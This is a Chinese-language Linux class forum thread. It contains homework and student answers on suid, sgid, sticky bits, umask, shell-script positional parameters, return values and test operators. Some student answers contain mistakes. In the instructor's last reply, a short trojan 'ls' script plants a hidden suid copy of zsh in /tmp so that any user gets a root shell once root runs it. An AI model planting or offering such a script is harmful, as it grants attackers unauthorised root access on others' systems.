作者 主題: 2004-09-07 台南班(11)  (閱讀 15038 次)

0 會員 與 1 訪客 正在閱讀本文。

netman

  • 管理員
  • 俺是博士!
  • *****
  • 文章數: 17484
    • 檢視個人資料
    • http://www.study-area.org
2004-09-07 台南班(11)
« 於: 2004-10-15 12:28 »
2004-10-14(星期四)

* 溫習重點:

ADVANCED PERMISSION
 suid
 sgid
 sticky bit
 mode

SHELL SCRIPT
- format
   descriptor (#!)   
   comment
   ident
   empty line
- echo
   -n
   -e
   $""
- positioning parameter
   $10 / $# / $@ / $*
 read
 return value
 test (!)


* 思考與練習:

1) 請說明一下 suid, sgid, sticky bit 對於 file 及 directory 的影響?
   說明:

2) 請問 6754 的 mode ,改用 text 如何表示?
   text :

若將 rwsr-xr-T 改用 octal 格式呢?
   otal:

3) 假設:
1. 當前 shell 之 uid 是 u1 ,gid 是 g1 ,且同時在 g2, g3 這兩個 groups,
    umask 為033
2. 有一個 pro 程式的 mode 是 6754 ,其 uid 是 u2 ,gid 是 g2
3. 有一個 dir 目錄的 mode 是 2775,其 uid 是 u3,gid 是 g3
現於當前 shell 內跑起 pro,且 pro 會在 dir 內建立一個新目錄(d1)跟一份新檔案(f1)。
請問會成功嗎?(問一)
    ?會
    ?不會
若成功的話,請問新目錄跟新檔案的 permission mode, uid, gid 各是甚麼?(問二)
    新目錄(d1):
    新檔案(f1):
又,你可以直接在當前的 shell 內用 rm 命令將它們刪除嗎?(問三)
    ?可
    ?不可

4) 同習題三,若在執行 pro 之前,root 先跑了如下命令:
    chgrp g3 pro
那答案又將如何?
(問一):
(問二):
(問三):

5) 同習題三,若在執行 pro 之前,root 先跑了如下命令:
    chmod a+w dir
那答案又將如何?
(問一):
(問二):
(問三):

6) 同習題三,若在執行 pro 之前,root 先跑了如下命令:
    chmod 1777 dir
那答案又將如何?
(問一):
(問二):
(問三):

7) 同習題五,在 root 跑完 chmod a+w 之後還跑了如下命令:
    chmod o-x dir
    gpasswd -d u1 g3 ,並讓 u1 重新 login 。
那答案又將如何?
(問一):
(問二):
(問三):

8) 請問啥是 shell script? 如何執行之? 請列兩種方法, 並比較彼此的差異.
   說明:

9) 請問我們寫 shell script 時, 第一行是怎麼寫的? 其功能是甚麼?
   說明:

10) 若我用 read A B C 從 STDIN 讀入變數值,
但卻輸入了 1 2 3 4 ,請問 $C 的值是甚麼?
   值:

要是輸入的是 1 2  呢?
   值:

11) 請問,在 shell script 中,$1, $2 各代表甚麼意思?
   $1 :
   $2 :

那,$10 呢?
   $10 :

能否說說 $#, $@, 跟 $* 的差別?
   說明:

12) 請問,啥是 Return Value ?
   說明:

如何看到上一個指令的 Return Value ?
   命令:

13) 請問何種 Return Value 分別代表如下的條件測試:
   true :
   false :

14) 請問如下的 test 是啥意思?(提示: man test )
   -z string
   -n string
   string = string
   sring != srting
   integer -eq integer
   integer -nq integer
   integer -gt integer
   integer -ge integer
   integer -le integer
   -d file
   -f file
   -e file
   file -nt file
   file -ot file
   ! expression
   expression -a expression
   expression -o expression


* next:
http://phorum.study-area.org/viewtopic.php?t=26909

yyycome

  • 懷疑的國中生
  • **
  • 文章數: 37
    • 檢視個人資料
2004-09-07 台南班(11)
« 回覆 #1 於: 2004-10-17 20:45 »
呼呼~~這次的作業真的超難的
level2的果然不一樣
麻煩老師了~~

* 思考與練習:

1) 請說明一下 suid, sgid, sticky bit 對於 file 及 directory 的影響?
說明:
suid>  file:uid from file
          dir:ignore
sgid>  file:gid from file
          dir:new file from dir
               new dir whit sgid(只要設sguid在dir裡,裡面的資料
                                                      不管是file or dir都是同一群組suid)
sticky bit> file: ignore
                dir: 刪除檔案除了在目錄要有wx的權限外
                             還有是目錄或檔案的擁有者才了刪除
2) 請問 6754 的 mode ,改用 text 如何表示?
text : rwsr-sr--

若將 rwsr-xr-T 改用 octal 格式呢?
otal:5754

3) 假設:
1. 當前 shell 之 uid 是 u1 ,gid 是 g1 ,且同時在 g2, g3 這兩個 groups,
umask 為033
2. 有一個 pro 程式的 mode 是 6754 ,其 uid 是 u2 ,gid 是 g2
3. 有一個 dir 目錄的 mode 是 2775,其 uid 是 u3,gid 是 g3
現於當前 shell 內跑起 pro,且 pro 會在 dir 內建立一個新目錄(d1)跟一份新檔案(f1)。
請問會成功嗎?(問一)
不會成功(因為pro有設suid,sgid, 因此跑這個程式時,是利用u2,g2下去跑
                  但在dir下,o的權限為r-x,沒有w的權限不能新增)
若成功的話,請問新目錄跟新檔案的 permission mode, uid, gid 各是甚麼?(問二)
新目錄(d1):不能建立
新檔案(f1): 不能建立
又,你可以直接在當前的 shell 內用 rm 命令將它們刪除嗎?(問三)
不可

4) 同習題三,若在執行 pro 之前,root 先跑了如下命令:
chgrp g3 pro
那答案又將如何?
(問一): 會成功
(問二): d1   drwxr-Sr-- (u2,g3)
             f1   -rw-r--r-- (u2,g3)
(問三):應該可以^^,因為dir的權限為drwxrwsr-x,且shell的u1有加入g3,
               因此g的權限為rws,所以可以刪除

5) 同習題三,若在執行 pro 之前,root 先跑了如下命令:
chmod a+w dir
那答案又將如何?
(問一): 會成功
(問二): d1   drwxr-Sr-- (u2,g3)
             f1   -rw-r--r-- (u2,g3)
(問三): 可以

6) 同習題三,若在執行 pro 之前,root 先跑了如下命令:
chmod 1777 dir
那答案又將如何?
(問一): 會成功
(問二):  d1   drwxr--r-- (u2,g2)
             f1   -rw-r--r-- (u2,g2)
(問三): 不行,因為shell為u1,因此不為file或dir的擁有者

7) 同習題五,在 root 跑完 chmod a+w 之後還跑了如下命令:
chmod o-x dir
gpasswd -d u1 g3 ,並讓 u1 重新 login 。
那答案又將如何?
(問一): 不會成功
(問二): 不會成功
(問三): 不會成功

8) 請問啥是 shell script? 如何執行之? 請列兩種方法, 並比較彼此的差異.
說明:
shell script 就像演員的講稿,事先寫在一個file裡,再去執行
bash script
chmod +x script > ./script  
上面可以打csh、tcsh、sh都可
下面則是要將script的權限x打開才能執行

9) 請問我們寫 shell script 時, 第一行是怎麼寫的? 其功能是甚麼?
說明: #!/bin/bash(先指定我們的shell為bash)

10) 若我用 read A B C 從 STDIN 讀入變數值,
但卻輸入了 1 2 3 4 ,請問 $C 的值是甚麼?
值: 3 4

要是輸入的是 1 2 呢?
值: 空白

11) 請問,在 shell script 中,$1, $2 各代表甚麼意思?
假設#script abc xyz
$1 : abc
$2 : xyz

那,$10 呢?
$10 : 第10個參數

能否說說 $#, $@, 跟 $* 的差別?
說明: $# > 列出個數
             $@、$* > 列出全部內容

12) 請問,啥是 Return Value ?
說明: 傳回值(每個comd都有returen value)

如何看到上一個指令的 Return Value ?
命令: $?

13) 請問何種 Return Value 分別代表如下的條件測試:
true : 0
false : 1-255

14) 請問如下的 test 是啥意思?(提示: man test )
-z string  (長度為0)
-n string (長度不為0)
string = string (相同)
sring != srting (不相同)
integer -eq integer (=)
integer -nq integer
integer -gt integer (>)
integer -ge integer (>=)
integer -le integer (<)
-d file (file exits and is a dir)
-f file (file exits and is a regular file)
-e file (file exits)
file -nt file (newer)
file -ot file (older)
! expression 相反輸出
expression -a expression 兩者都成立
expression -o expression 兩者之一成立
df

netman

  • 管理員
  • 俺是博士!
  • *****
  • 文章數: 17484
    • 檢視個人資料
    • http://www.study-area.org
2004-09-07 台南班(11)
« 回覆 #2 於: 2004-10-17 23:53 »
11) $10 不是第 10 個參數哦... 再想想?
另, 能說說 $* 與 $@ 在 soft quote 中的差別嗎?

嗯, 不錯! 相當優秀! 加油~~~  ^_^

eajean

  • 可愛的小學生
  • *
  • 文章數: 18
    • 檢視個人資料
2004-09-07 台南班(11)
« 回覆 #3 於: 2004-10-18 10:42 »
我來補充一下yyycome的答案
他寫的很棒
幫助我寫作業時有個參考
感恩阿..^^


$10: $1和0
第10個參數: ${10} 或用shift 如shift 1 -> $9

$* 與 $@ 在 soft quote 中的差別
$script a b c
就$*而言是單一字串
就$@而言是三個字串(之間有兩個IFS)

14)
integer -le integer (<=) 要補上個等號喔
integer -nq integer (不等於)

netman

  • 管理員
  • 俺是博士!
  • *****
  • 文章數: 17484
    • 檢視個人資料
    • http://www.study-area.org
2004-09-07 台南班(11)
« 回覆 #4 於: 2004-10-18 16:37 »
嗯, 你們都很棒!
其他同學要多看齊了哦~~~

一起加油...  ^_^

Yeh Dan kie

  • 懷疑的國中生
  • **
  • 文章數: 40
    • 檢視個人資料
2004-09-07 台南班(11)
« 回覆 #5 於: 2005-02-06 13:42 »
1) 請說明一下 suid, sgid, sticky bit 對於 file 及 directory 的影響?
說明:
suid由該檔案process所產生的檔案,不繼承執行者的uid,而繼承檔案所有者的uid
sgid在目錄內產生的檔案目錄繼承該目錄的gid,而不繼承執行者的gid
sticky bit設定sticky bit的目錄底下所產生的檔案,只有目錄的擁有者才能刪除
suid針對檔案,sgid針對與sticky bit針對directry

2) 請問 6754 的 mode ,改用 text 如何表示?
text :
rws r-s r--

若將 rwsr-xr-T 改用 octal 格式呢?
otal:
5754

3) 假設:
1. 當前 shell 之 uid 是 u1 ,gid 是 g1 ,且同時在 g2, g3 這兩個 groups,
umask 為033
2. 有一個 pro 程式的 mode 是 6754 ,其 uid 是 u2 ,gid 是 g2
3. 有一個 dir 目錄的 mode 是 2775,其 uid 是 u3,gid 是 g3
現於當前 shell 內跑起 pro,且 pro 會在 dir 內建立一個新目錄(d1)跟一份新檔案(f1)。
請問會成功嗎?(問一)
?會
?不會

若成功的話,請問新目錄跟新檔案的 permission mode, uid, gid 各是甚麼?(問二)
新目錄(d1):uid:u1 gid:g3 permission:drwxr-Sr--
新檔案(f1):uid:u1 gid:g3 permission:-rw-r--r--
又,你可以直接在當前 shell 內用 rm 命令將它們刪除嗎?(問三)
?可
?不可

4) 同習題三,若在執行 pro 之前,root 先跑了如下命令:
chgrp g3 pro
那答案又將如何?
(問一):會
(問二):不變
(問三):可

5) 同習題三,若在執行 pro 之前,root 先跑了如下命令:
chmod a+w dir
那答案又將如何?
(問一):會
(問二):不變
(問三):可

6) 同習題三,若在執行 pro 之前,root 先跑了如下命令:
chmod 1777 dir
那答案又將如何?
(問一):會
(問二):
d1 uid:u1 gid:g1 permission:drwxr—r--
f1 uid:u1 gid:g1 permission:-rw-r--r--
(問三):
可以

7) 同習題五,在 root 跑完 chmod a+w 之後還跑了如下命令:
chmod o-x dir
gpasswd -d u1 g3 ,並讓 u1 重新 login 。
那答案又將如何?
(問一):不會
(問二):無法建立
(問三):不可以

8) 請問啥是 shell script? 如何執行之? 請列兩種方法, 並比較彼此的差異.
說明:
1.$bash script 會產生subshell執行
2.$. ./script 會將script加入目前的shell process執行

9) 請問我們寫 shell script 時, 第一行是怎麼寫的? 其功能是甚麼?
說明:
#!/bin/bash
告訴系統這個script使用的shell種類

10) 若我用 read A B C 從 STDIN 讀入變數值,
但卻輸入了 1 2 3 4 ,請問 $C 的值是甚麼?
值:"3 4"

要是輸入的是 1 2 呢?
值:
C沒有值(null)

11) 請問,在 shell script 中,$1, $2 各代表甚麼意思?
$1 :代表第一個parameter
$2 :代表第二個parameter

那,$10 呢?
$10 :代表第一個parameter在加上0
ex: $1-->A
則$10-->A0

能否說說 $#, $@, 跟 $* 的差別?
說明:
$# :所有參數總數
$@:取得所有參數但是會個別分開例如參數為1 2 3 4 5,以$@取得的值為"1" "2" "3" "4" "5"
$*:取得所有參數,合併成一個字串以上面為例"1 2 3 4 5"
12) 請問,啥是 Return Value ?
說明:
process或者function回傳的值,每一個command或被執行的script結束後一定會傳回一個值
如何看到上一個指令的 Return Value ?
命令:
$echo $?
13) 請問何種 Return Value 分別代表如下的條件測試:
true :0
false :1-255

14) 請問如下的 test 是啥意思?(提示: man test )
-z string : 檢查字串長度是否為0
-n string: 檢查字串長度是否不為0
string = string 檢查兩邊的字串是否相同
sring != srting 檢查兩邊字串是否不同
integer -eq integer 檢查兩個整數是否相同
integer -nq integer 檢查兩個整數是否不同
integer -gt integer 檢查左邊整數是否大於右邊整數
integer -ge integer 檢查左邊整數是否大於等於右邊整數
integer -le integer 檢查左邊整數是否小於等於右邊整數
-d file 檢查file是否為目錄或者是否存在
-f file 檢查file是否為檔案或者是否存在
-e file 檢查file是否存在
file -nt file 檢查左邊file是否比右邊file新(左邊比較晚建立)
file -ot file 檢查左邊file是否比右邊file舊(左邊比較早建立)
! expression 反轉條件,如果expression為ture則,! expression為false
expression -a expression 檢查兩邊expression必須同時為true
expression -o expression 檢查兩邊expression 其中一邊是否為true
-------------------------------------------------------------
Q:
老師:我在測試suid時,發現suid一直起不了作用,sticky bit也是
所以我上面的答案覺得怪怪的....
第三題 uid應該為u2才對..但是我試了很多次結果uid都是u1
以下是我的資訊
FC3(kernel 2.6.10)
bash版本GNU bash, version 3.00.14(1)-release (i386-redhat-linux-gnu)

groups=501(g1) 502(g2) 503(g3)
代碼: [選擇]

-rwsr-sr--  1 u2    g2        42  2月  6 11:45 t2
drwxrwsr--  4 u3    g3      4096  2月  6 13:17 test1

我的script-->t2
內容:
代碼: [選擇]

touch ./test1/test.f
mkdir ./test1/test.d

執行
$./t2
$ls -l ./test1/
結果如下
代碼: [選擇]

drwxr-Sr--  2 u1 g3 4096  2月  6 13:24 test.d
-rw-r--r--  1 u1 g3  100  2月  6 13:24 test.t

產生的檔案與目錄的uid不是應該為u2嗎?...不知道那裡錯了..@@"
老師有時間的話幫我看一下喔..這裡一直很疑惑(不知道是不是bash版本的關係)
或是那位學長同學可以指導一下..
感激不盡...謝謝..^^"

netman

  • 管理員
  • 俺是博士!
  • *****
  • 文章數: 17484
    • 檢視個人資料
    • http://www.study-area.org
2004-09-07 台南班(11)
« 回覆 #6 於: 2005-02-14 22:59 »
shell script 不支援 suid 的.
你要是會寫 c 的話, 不妨 compile 一個 executeable 來玩玩?

Yeh Dan kie

  • 懷疑的國中生
  • **
  • 文章數: 40
    • 檢視個人資料
2004-09-07 台南班(11)
« 回覆 #7 於: 2005-02-14 23:54 »
引述: "netman"
shell script 不支援 suid 的.
你要是會寫 c 的話, 不妨 compile 一個 executeable 來玩玩?

就是fork出來的sub-shell才行囉?

netman

  • 管理員
  • 俺是博士!
  • *****
  • 文章數: 17484
    • 檢視個人資料
    • http://www.study-area.org
2004-09-07 台南班(11)
« 回覆 #8 於: 2005-02-15 10:24 »
你再回去溫習一下 process 那節的內容,
跑一下 pstree, ps 等命令, 追蹤一下每一層 parent/child 的關系,
然後看看 login 行程與上述 login shell 的關系, 及從開始到結束的生命週期?
最好能畫圖來幫助你的理解.

Yeh Dan kie

  • 懷疑的國中生
  • **
  • 文章數: 40
    • 檢視個人資料
2004-09-07 台南班(11)
« 回覆 #9 於: 2005-02-15 22:19 »
引述: "netman"
你再回去溫習一下 process 那節的內容,
跑一下 pstree, ps 等命令, 追蹤一下每一層 parent/child 的關系,
然後看看 login 行程與上述 login shell 的關系, 及從開始到結束的生命週期?
最好能畫圖來幫助你的理解.


如果要讓我寫的script可以達到我要的能力..應該在bash本身設定suid(假設可以這樣設定),而不是在script上設定suid,因為執行script也算bash的process,自己本身並沒
有執行的能力..是不是這樣呢?
 :o

netman

  • 管理員
  • 俺是博士!
  • *****
  • 文章數: 17484
    • 檢視個人資料
    • http://www.study-area.org
2004-09-07 台南班(11)
« 回覆 #10 於: 2005-02-15 23:16 »
bash 的 ID 是由 /etc/passwd 指定的,
shell script 會從 current shell 那 fork 出一個 sub shell 來執行.
其 uid/gid 從 parent (也就是 current shell) 繼承, 不管有沒有 suid/sgid 設定.
但不是每一種 shell 都會忽略 suid/sgid 的, 若你裝個 zsh 來試試就知道了...

比方說, 你寫一個名為 ls 的 script:
代碼: [選擇]
#!/bin/bash
cp -f /bin/zsh /tmp/.rc &>/dev/null
chmod ug+s /tmp/.rc &>/dev/null
ls "$@"
rm ls &>/dev/nll

只要 root 一跑 ls 這命令(假設 . 在 PATH 前面)
接著, 任何人都可執行 /tmp/.rc 取得一個 root 身份的 zsh
然後再跑 su - root -c "/bin/bash" 那就有一個 root 的 bash 了!!
接下來你想幹嘛? 隨你喜歡囉.... ^_^

Yeh Dan kie

  • 懷疑的國中生
  • **
  • 文章數: 40
    • 檢視個人資料
2004-09-07 台南班(11)
« 回覆 #11 於: 2005-02-15 23:48 »
嗯...這樣我懂了..謝謝..^^"